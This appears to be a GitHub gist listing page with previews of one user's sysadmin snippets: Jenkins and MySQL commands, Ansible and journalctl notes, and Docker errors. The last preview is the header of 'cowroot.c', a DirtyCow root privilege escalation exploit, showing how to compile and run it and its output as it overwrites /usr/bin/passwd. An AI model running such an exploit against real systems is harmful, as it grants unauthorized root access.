Om Prakash Singh omps

A curated list of AWS resources to prepare for the AWS Certifications

A curated list of awesome AWS resources you need to prepare for the all 5 AWS Certifications. This gist will include: open source repos, blogs & blogposts, ebooks, PDF, whitepapers, video courses, free lecture, slides, sample test and many other resources.

sudo wget -O /etc/yum.repos.d/jenkins.repo http://pkg.jenkins-ci.org/redhat/jenkins.repo
sudo rpm --import https://jenkins-ci.org/redhat/jenkins-ci.org.key
sudo yum install jenkins

sudo wget -O /etc/yum.repos.d/jenkins.repo http://pkg.jenkins-ci.org/redhat-stable/jenkins.repo #Installation of a stable version LTS YUM repository for the LTS Release Lin
sudo rpm --import https://jenkins-ci.org/redhat/jenkins-ci.org.key
sudo yum install jenkins

sudo yum install java #jenkins require Java to be present.

	# Display facts from all hosts and store them indexed by I(hostname) at C(/tmp/facts).
	# ansible all -m setup --tree /tmp/facts

	# Display only facts regarding memory found by ansible on all hosts and output them.
	# ansible all -m setup -a 'filter=ansible_*_mb'

	# Display only facts returned by facter.
	# ansible all -m setup -a 'filter=facter_*'

	# Collect only facts returned by facter.


	MySQL Connection Error: (2002) php_network_getaddresses: getaddrinfo failed: Name or service not known
	ERROR: for lamp_db_1 Cannot create container for service db: Conflict. The container name "/lamp_db_1" is already in use by container "87dba9af0946191a3a60fd8868624d8954263e4edacf416c75c4d7b62c72d9d1". You have to remove (or rename) that container to be able to reuse that name.

	ERROR: for db Cannot create container for service db: Conflict. The container name "/lamp_db_1" is already in use by container "87dba9af0946191a3a60fd8868624d8954263e4edacf416c75c4d7b62c72d9d1". You have to remove (or rename) that container to be able to reuse that name.
	ERROR: Encountered errors while bringing up the project.

	Creating lamp_db_1 ... error

	ANswer: no solution, just remove the container and recreate.

	For prosperity, the good women and the beer, I hereby record the following
	- open the console!
	- get to be root
	- examine the output of "journalctl -xn" and "dmesg"
	- if you get this or something similar
	Quote:
	[ 12.713167] systemd-journald[113]: Failed to write entry (9 items, 245 bytes), ignoring: Cannot assign requested address
	- verify the journals with "journalctl --verify"
	- check if the logs are within sizes "journalctl --disk-usage"
	- by then you have an idea of the corrupted logs - they show up iin red, no way you can ignore them

	$ pulp-admin auth user create --login jenkins --password xxx
	$ pulp-admin auth permission grant --login=jenkins --resource="/v2/content/uploads/" -o read -o update -o create -o delete
	$ pulp-admin auth permission grant --login=jenkins --resource="/v2/tasks/" -o read
	$ pulp-admin auth permission grant --login=jenkins --resource="/v2/repositories/my-repo/actions/import_upload/" -o create -o execute -o read -o update
	$ pulp-admin auth permission grant --login=jenkins --resource="/v2/repositories/my-repo/actions/publish/" -o execute

	# show all users in the db.
	SELECT User FROM mysql.user;

	#create database
	create database mysql_test;

	# create new mysql user
	GRANT ALL PRIVILEGES ON dbTest.* To 'user'@'hostname' IDENTIFIED BY 'password';

	# Start windows and panes at 1, not 0
	set -g base-index 1
	setw -g pane-base-index 1

	/*
	* (un)comment correct payload first (x86 or x64)!
	*
	* $ gcc cowroot.c -o cowroot -pthread
	* $ ./cowroot
	* DirtyCow root privilege escalation
	* Backing up /usr/bin/passwd.. to /tmp/bak
	* Size of binary: 57048
	* Racing, this may take a while..
	* /usr/bin/passwd overwritten